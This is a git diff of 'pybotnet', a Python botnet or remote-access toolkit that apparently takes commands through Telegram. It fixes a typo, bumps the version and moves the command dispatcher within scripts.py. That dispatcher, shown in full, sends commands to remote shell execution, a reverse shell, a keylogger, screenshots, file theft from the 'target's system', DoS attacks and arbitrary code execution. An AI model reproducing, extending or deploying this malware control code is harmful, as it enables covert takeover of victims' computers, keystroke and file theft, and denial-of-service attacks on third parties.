diff --git a/pybotnet/scripts.py b/pybotnet/scripts.py index 3667c8f..1215224 100644 --- a/pybotnet/scripts.py +++ b/pybotnet/scripts.py @@ -39,7 +39,7 @@ "import_file": "`import_file `: download's a file from target's system", - "screenshot": "`screenshot`: Take's a screenshot & return's the download link", + "screenshot": "`screenshot`: Take's a screenshot and return's the download link", "info": "`info`: runs `get_info` command!", @@ -118,75 +118,6 @@ def send_message(text: str): return "reverse shell exit." -def execute_scripts(command: str, pybotnet_up_time: int, ADMIN_CHAT_ID: str, - TELEGRAM_TOKEN: str, previous_update_id: List[int], logger): - command_name = get_command_name(command) - try: - if is_command(command): - - if command_name == MAC_ADDRES: - '''run command just on this system''' - logger.info('delete mac addres and run command ') - new_command = ' '.join(split_command(command)[1:]) - return execute_scripts( - new_command, pybotnet_up_time, - ADMIN_CHAT_ID, TELEGRAM_TOKEN, - previous_update_id, logger) - - elif command_name == 'do_sleep': - return execute_do_sleep(command, logger) - - elif command_name in ['get_info', 'info']: - return get_info(pybotnet_up_time, logger) - - elif command_name == 'cmd': - return execute_cmd(command, ADMIN_CHAT_ID, TELEGRAM_TOKEN, logger, withThread=True) - - elif command_name == 'ls': - return execute_ls(command, logger) - - elif command_name == 'cd': - return execute_cd(command, logger) - - elif command_name == 'export_file': - return execute_download_manager(command, logger) - - elif command_name == 'import_file': - return execute_upload_manager(command, logger) - - elif command_name == 'screenshot': - return screenshot(logger) - - elif command_name in ['help', '/start']: - return command_help(logger) - - elif command_name in ['reverse_shell']: - return reverse_shell(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger) - - elif command_name == "keylogger" and split_command(command)[1] in ['start', 'stop']: - return keylogger(logger, command) - - elif command_name == "schedule" and split_command(command)[1] in ["start", "stop", "list"]: - return scheduler_script(logger, command) - - elif command_name == "playsound": - return playsound_pybotnet(logger, command) - - elif command_name == "openurl": - return openurl(logger, command) - - elif command_name == "dos": - return dos(logger, command) - - elif command_name == "runcode": - return runcode(logger, command) - logger.error('execute_scripts invalid command; Wrong format') - return f"execute_scripts invalid command; Wrong format \n\n scripts name:\n {','.join(scripts_name)}" - - except Exception as error: - return f'execute_scripts error: {error}' - - def execute_do_sleep(command, logger): command = split_command(command) try: @@ -624,11 +555,10 @@ def command_help(logger): for _, value in scripts_name.items(): commands += '\n\n|' + value logger.info(f'scripts.command_help: return command lists') - return f'''command list: -{commands} - + return f''' Version: {settings.pybotnet_version} -more help: {settings.pybotnet_github_link}''' +more help: {settings.pybotnet_github_link} +command list:{commands}''' except Exception as error: logger(f'scripts.command_help: error {error}') @@ -639,3 +569,72 @@ def command_help(logger): Pybotnet Version:{settings.pybotnet_version} for more help, see: {settings.pybotnet_github_link}''' + + +def execute_scripts(command: str, pybotnet_up_time: int, ADMIN_CHAT_ID: str, + TELEGRAM_TOKEN: str, previous_update_id: List[int], logger): + command_name = get_command_name(command) + try: + if is_command(command): + + if command_name == MAC_ADDRES: + '''run command just on this system''' + logger.info('delete mac addres and run command ') + new_command = ' '.join(split_command(command)[1:]) + return execute_scripts( + new_command, pybotnet_up_time, + ADMIN_CHAT_ID, TELEGRAM_TOKEN, + previous_update_id, logger) + + elif command_name == 'do_sleep': + return execute_do_sleep(command, logger) + + elif command_name in ['get_info', 'info']: + return get_info(pybotnet_up_time, logger) + + elif command_name == 'cmd': + return execute_cmd(command, ADMIN_CHAT_ID, TELEGRAM_TOKEN, logger, withThread=True) + + elif command_name == 'ls': + return execute_ls(command, logger) + + elif command_name == 'cd': + return execute_cd(command, logger) + + elif command_name == 'export_file': + return execute_download_manager(command, logger) + + elif command_name == 'import_file': + return execute_upload_manager(command, logger) + + elif command_name == 'screenshot': + return screenshot(logger) + + elif command_name in ['help', '/start']: + return command_help(logger) + + elif command_name in ['reverse_shell']: + return reverse_shell(ADMIN_CHAT_ID, TELEGRAM_TOKEN, previous_update_id, logger) + + elif command_name == "keylogger" and split_command(command)[1] in ['start', 'stop']: + return keylogger(logger, command) + + elif command_name == "schedule" and split_command(command)[1] in ["start", "stop", "list"]: + return scheduler_script(logger, command) + + elif command_name == "playsound": + return playsound_pybotnet(logger, command) + + elif command_name == "openurl": + return openurl(logger, command) + + elif command_name == "dos": + return dos(logger, command) + + elif command_name == "runcode": + return runcode(logger, command) + logger.error('execute_scripts invalid command; Wrong format') + return f"execute_scripts invalid command; Wrong format \n\n scripts name:\n {','.join(scripts_name)}" + + except Exception as error: + return f'execute_scripts error: {error}' diff --git a/pybotnet/settings.py b/pybotnet/settings.py index b6f7a2f..c35e228 100644 --- a/pybotnet/settings.py +++ b/pybotnet/settings.py @@ -1,5 +1,5 @@ -pybotnet_version = '1.0.2' +pybotnet_version = '1.0.3' pybotnet_github_link = 'https://github.com/onionj/pybotnet' pybotnet_license = 'GNU Lesser General Public License v3 or later (LGPLv3+)' pybotnet_pypi_link = 'https://pypi.org/project/pybotnet/'